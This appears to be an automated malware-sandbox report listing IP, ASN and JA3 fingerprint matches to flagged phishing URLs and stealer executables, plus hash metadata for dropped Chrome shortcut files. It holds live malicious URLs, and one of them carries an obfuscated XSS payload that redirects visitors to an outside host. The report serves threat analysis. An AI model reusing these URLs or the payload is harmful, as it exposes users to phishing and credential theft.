CLOUDFLARENETUS	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	162.247.243.29
	https://uprnssemb.com/re.php?cre=cG1leWVyQGRldnJ5LmVkdQ==	Get hash	malicious	Unknown	Browse	172.67.192.211
	https://communications.icef.com/e/937843/subscribe-/5yzzkt/661270347/h/o37OdT5kTTK0YQOP38DxMTqm35wsAb972tVFJzAO86Y	Get hash	malicious	Unknown	Browse	104.17.25.14
	llxZDywP35.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, Stealc	Browse	172.67.182.192
	https://url.us.m.mimecastprotect.com/s/FY0hCPNp42s1rx35tzam0J?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	172.64.150.44
	https://docusign.smumsmd.ws/?__cf_chl_tk=ITyQHnec0_EF.H_i4.XpgDZn_bM0SvaoPwEjSVf12Yg-1715089177-0.0.1.1-1578	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse	104.21.80.104
	sTii9zcAqm.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	ZIdbLVLIIz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
EDGECASTUS	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	https://help.nextiva.com/0D5UV00000CENsy?fromEmail=1&s1oid=00D4x0000024KeV&s1nid=0DB8Y0000001q0j&s1uid=005UV000000Gbt2&s1ext=0&emkind=chatterPostNotification&emtm=1715035203355&emvtk=xliOiy4JGvwIBQw.4ViBLNixLC3jvtIl_ydu19EzVXQ%3D&OpenCommentForEdit=1	Get hash	malicious	Unknown	Browse	152.199.4.33
	Messages Undelivered.html	Get hash	malicious	HTMLPhisher	Browse	192.229.173.207
	https://url2.mailanyone.net/scanner?m=1s45kJ-00020Z-44&d=4%7Cmail%2F90%2F1715029800%2F1s45kJ-00020Z-44%7Cin2k%7C57e1b682%7C28613012%7C14303582%7C6639496BE14DCDF10D394B7B55DB807F&o=%2Fphtu%3A%2Fptsacblmus.i-mdktcnai.ypos.%2F%2Faicm5sor35feg%2Fa-5ce90-285-f10f8-1963002105da9%2Fc%2FfEi9rN50SH2Z-VWWA_uxAAEAF0taA%3F%25ge%3Dtrr27BeTag%252%25ltUA223r%25sh%2522tp%252tF%2553252%25A2ed52aarnFrrataacaizc%25m.c5br2o.iy2Fgyvugv%252k%2522C22%25tiRepecOdr2nti3%252%25os5BA%25222%257%25lA2%252ul%253n22C%253%252%2521DlAn7%257%25ultiD%26les%3Ddg80QhJhi0pCF1rkb1qh9AH2erlwDy%25BjdOng19XaO%26IB2e3Ds4%25stcroerieV95n%3Db757a83dbdbbab248443e6db3fee51&s=L2FvHx5oaqoqpUYmVLmHcL1P8jM	Get hash	malicious	Fake Captcha	Browse	152.199.4.44
	https://tinyurl.com/mwhds9en	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	http://fuelrite-my.sharepoint.com/personal/dsullivan_fuelrite_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry%2FView%20and%20Print%20Online%2Epdf&parent=%2Fpersonal%2Fdsullivan%5Ffuelrite%5Fcom%2FDocuments%2FView%20and%20Print%20Online%20Masonry&ga=1	Get hash	malicious	Unknown	Browse	192.229.211.199
	https://cloudflare-ipfs.com/ipfs/bafkreiatntmsqthbzq55w5z7j4exwawk3pfvamjqbdm5i34m6qnahshcfy	Get hash	malicious	HTMLPhisher	Browse	72.21.91.237
	https://calcmaker.com/-/ohpiPGH30AjqC3psgTbi	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	Early Cutoff(usli.com).html	Get hash	malicious	HTMLPhisher	Browse	152.199.4.44
	OSL332C-HBLx#U180es#U180el#U180ex#U180e..exe	Get hash	malicious	FormBook	Browse	152.195.19.97
CLOUDFLARENETUS	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	162.247.243.29
	https://uprnssemb.com/re.php?cre=cG1leWVyQGRldnJ5LmVkdQ==	Get hash	malicious	Unknown	Browse	172.67.192.211
	https://communications.icef.com/e/937843/subscribe-/5yzzkt/661270347/h/o37OdT5kTTK0YQOP38DxMTqm35wsAb972tVFJzAO86Y	Get hash	malicious	Unknown	Browse	104.17.25.14
	llxZDywP35.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Mars Stealer, RedLine, RisePro Stealer, Stealc	Browse	172.67.182.192
	https://url.us.m.mimecastprotect.com/s/FY0hCPNp42s1rx35tzam0J?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	172.64.150.44
	https://docusign.smumsmd.ws/?__cf_chl_tk=ITyQHnec0_EF.H_i4.XpgDZn_bM0SvaoPwEjSVf12Yg-1715089177-0.0.1.1-1578	Get hash	malicious	Unknown	Browse	104.17.2.184
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse	104.21.80.104
	sTii9zcAqm.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	ZIdbLVLIIz.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqOVAJW472Wzw-2BHmV6urWOzmsW2Bsu40mXYTRkRpI1Q5wOTdgVB3Mjxn1nyvGrFwgBw9XXSqo0PcB1fY27GufiX4-3D0G6x_bUY3mTur-2BO07WtKrJ6vZYdHgqwcgg0W267fK5KrEcWjZd-2B8rgHjqJqg8h7BHCnAqaTRZ-2BzNh2WV0p-2Bb1LE9hM6azaM09hDzA2qDipV3ul6AjpV-2F-2BxLJPj2yRT8UYKQJcg5JISnL8oD7TCk1RCJn3zXMCCADkY0HeMAtFz2tmx1848waOG1eg4RjKld049B-2B7bm-2BXXTvogs6LcQ0vK52yt4IivyohgK9mhaHCtyWUvOk-3D	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://url.us.m.mimecastprotect.com/s/NqNQClYX45S1PxGimFEoZ?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://xql1lt4n.r.eu-west-1.awstrack.me/L0/https:%2F%2Fwww.online-statements.site%2Fsignin%3Ft=eyJhbGciOiJIUzI1NiJ9.eyJ0cmFja2luZ190b2tlbiI6ImU0N2Q1Njg4LWJjZTItNDBkMS1iZDBiLTRkYmRmYWVmZTJjNCIsImNlbGwiOiJodHRwczovL3Vib3p4eTh0cjkuZXhlY3V0ZS1hcGkuZXUtd2VzdC0xLmFtYXpvbmF3cy5jb20vcHJvZC9hcGkvcGhpc2hpbmdjYW1wYWlnbiIsImNhbXBhaWduX3Rva2VuIjoiZWZlYTMwNzQtZWNmNS00M2Q5LWIxYzMtYTdiOTM1MjA0YjgxIiwidGVzdF90b2tlbiI6ZmFsc2UsImV4dGVybmFsX3RyYWluaW5nIjpmYWxzZSwiZGlyZWN0X2RlbGl2ZXJ5IjpmYWxzZSwiaWF0IjoxNzE0ODM3MjY5LCJpc3MiOiJodHRwczovL2FwcC5waGlzaHRocmVhdC5jb20iLCJleHAiOjE3MjI2MTMyNjl9.j9STWIlTtc62wy3ywyflbwVw-A2HP62v_gf36PnHgdw/1/0102018f44442d12-2ae6f806-92fa-4d06-bd0c-a71a80ae73a5-000000/nTakwnVXVyVjZI8aNzBxTDPaFjA=372	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://uprnssemb.com/re.php?cre=cG1leWVyQGRldnJ5LmVkdQ==	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://communications.icef.com/e/937843/subscribe-/5yzzkt/661270347/h/o37OdT5kTTK0YQOP38DxMTqm35wsAb972tVFJzAO86Y	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://url.us.m.mimecastprotect.com/s/FY0hCPNp42s1rx35tzam0J?domain=urldefense.proofpoint.com	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://docusign.smumsmd.ws/?__cf_chl_tk=ITyQHnec0_EF.H_i4.XpgDZn_bM0SvaoPwEjSVf12Yg-1715089177-0.0.1.1-1578	Get hash	malicious	Unknown	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	http://sciencetech.th.com/index.asp?PageShow=%22%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%20%27t%27%2C%20%27t%27%2C%20%27p%27%2C%20%27s%27%2C%20%27%3A%27%2C%20%27%2F%27%2C%20%27%2F%27%2C%20%27i%27%2C%20%27m%27%2C%20%27p%27%2C%20%27u%27%2C%20%27t%27%2C%20%27e%27%2C%20%27l%27%2C%20%27e%27%2C%20%27t%27%2C%20%27t%27%2C%20%27e%27%2C%20%27r%27%2C%20%27.%27%2C%20%27c%27%2C%20%27o%27%2C%20%27m%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%270%27%2C%20%27%2F%27%2C%20%273%27%2C%20%278%27%2C%20%274%27%2C%20%272%27%2C%20%273%27%2C%20%273%27%2C%20%276%27%2C%20%272%27%2C%20%27d%27%2C%20%278%27%2C%20%27f%27%2C%20%273%27%2C%20%270%27%2C%20%273%27%2C%20%271%27%2C%20%272%27%2C%20%270%27%2C%20%275%27%2C%20%272%27%2C%20%27d%27%2C%20%27c%27%2C%20%27d%27%2C%20%27a%27%2C%20%274%27%2C%20%27c%27%2C%20%275%27%2C%20%272%27%2C%20%270%27%2C%20%27a%27%2C%20%27e%27%2C%20%270%27%2C%20%273%27%2C%20%27%2F%27%2C%20%2711/259-8617/964-124987-15330%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	https://virology-renewableenergy.4f1a9c6d3bb34e17fd28a39e.workers.dev/SqrZAnOXIymdZkH3vYeAU4R9Y018pzbHz177148-sfmaxgen-pgx--ifxJuntageneralalba-isxcorporacionalba.essf-1MC4x	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226 23.51.58.94 52.165.165.26
	http://link.csrwire.com/ls/click?upn=u001.Si0DiArC1V8ZAnBzMk9-2BdVKW245QccVJHq5a8ac9PL1cxKEohrdYzj-2Bi8X2xywdF5x014kxhAPztuH7dRixzSCWE-2BJwchVhYZ74Ivk5CnEAPFl7yJBY43wNoXEBfuRY7zCLn7IFjGzLO2VDHwzMa6b1dQgFTMqVrhr7lYKJs9qSYs-2BIWqneYUpThOMtW8ZRR6Iy8ZluudY9oUF69ErkVqIhcYcD90-2BeIe0HlXjz7laJGM1FEHy-2FismlvYvBwofHOrNA-2F7xRZ41Rk45q5ZK8hIIcy4VYyBsoGVBYETzqO1ES8JBIBCuc-2BD2EUpvNqOcpfHlqI_En4Rv3Q3sKeYZk3XLzg9rUbidhZvv99QjswdoRGGc4aCi3P1UvqLBy1-2FQ-2Fdnh-2BbWAXqIbGOojasC-2BdoNBdUA0RxG21o07vFJ5c96g07QRXMYKyVf2JWKHaBYxbafr-2BlTgAJI9cDakyUBcg9wR04floBxn9-2F4XkqpjFC5eRD6tR1ZX2YdX9iPfCLGCEusCCVl57mmsAaSUM4GgicQEgoidviob3oSBgfsshhtkqquRXw-3D	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226 23.51.58.94 52.165.165.26

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 13:12:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9884690249419044
Encrypted:	false
SSDEEP:	48:8T0dCsTPjEHTidAKZdA1oehwiZUklqehXy+3:8T3sn1Iy
MD5:	2D61E5FCC105758815D3173AC141CBD9
SHA1:	119CB01F0DE9DBBC99E53BC24250989BA08D19B5
SHA-256:	B2DE02AA8A37EF067BE128AEB7C982AAE990B7034D7AB125907EF7F9D85C98F3
SHA-512:	2AAADCAF382ED67A2B2DF626A51895808EA6C71801659C33EF2B499E1911557585A8BA7C74D1691D932F3EA7A95385A44B54724E3A222DC81F3A918908000D30
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....8.%.....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 13:12:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.003992761747711
Encrypted:	false
SSDEEP:	48:8u0dCsTPjEHTidAKZdA1leh/iZUkAQkqeh4y+2:8u3snv9QVy
MD5:	7657031FFDC98E45D3F7124379ECEEFB
SHA1:	3E65872621B57B9F280A569A2B08DEBDD50EE027
SHA-256:	5AB8F078723EFC927189B9F46123401C4D7B84B5557BB0BEA4655110B481E9F6
SHA-512:	CD6245091AE8756E45837304F2C9CC90A3C1B4872A49E3EC4EEAA7570B32FB20D7AB59A5ACD739191DD57E86CB70F9E15EE497BAD7FEB87D9B8A7AC2E74070E2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....Y8......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.013238230527985
Encrypted:	false
SSDEEP:	48:860dCsTPjbHTidAKZdA14t5eh7sFiZUkmgqeh7sGy+BX:863snCn0y
MD5:	D56A87F4BF1A560AFA8BF7EA6775AC4E
SHA1:	F6F375B9400D4CC141213E81188BED53A672818E
SHA-256:	394E1494904D79003F26FE3342B40A5DE44E3783BB9E13E246EBC1529E38CAC3
SHA-512:	ECB05FA49B7D859892766F81DDBDC3C28E6256B38329F901D8D8CB4E02FCB90A44C54AE45EED35B77F2982C3B36D86323CD62EEA3680A0BC30D18080C4A9BE00
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 13:12:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.002674379308935
Encrypted:	false
SSDEEP:	48:8t0dCsTPjEHTidAKZdA16ehDiZUkwqehMy+R:8t3sncey
MD5:	CFCD536119AD947614CDB0D053077174
SHA1:	3F25910AEF0B8C0457F3A2611F056CB8476C1705
SHA-256:	0BC17038117EE9C7A45FC92A0CD8C3C666CB89F82955F31E8BFF3EA54D182618
SHA-512:	D075404963159727383270E3FB9DB01BE79545C6A4BB3500F9DB6F689E21B1B97A82FBC4783C5CA8F8BC0A74ED95CEAF2FD4F5AD60C41ECAEAC4D8EC5DFDBBA0
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,............N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue May 7 13:12:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9914396563487236
Encrypted:	false
SSDEEP:	48:8v0dCsTPjEHTidAKZdA1UehBiZUk1W1qehyy+C:8v3sns9Sy
MD5:	03C9263194107B07BA111D3C8A031526
SHA1:	9DB81A5295089680949B672DC809418E70707E08
SHA-256:	74D829ADF68790724CB4F6D6BF75D179704379E4D353528B3E821781B22FCE9F
SHA-512:	92A2F645D0D90BE043DD3F3BAB726174225EB0ADBDCE3384705EF4DD951818BAECF205BB52BB4FACDF1C5D371364E127CFF25543B53FA984E549F87D77D4BE59
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,...... .....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.I.X.q....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.q....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.q....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.q..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.q...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............x.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

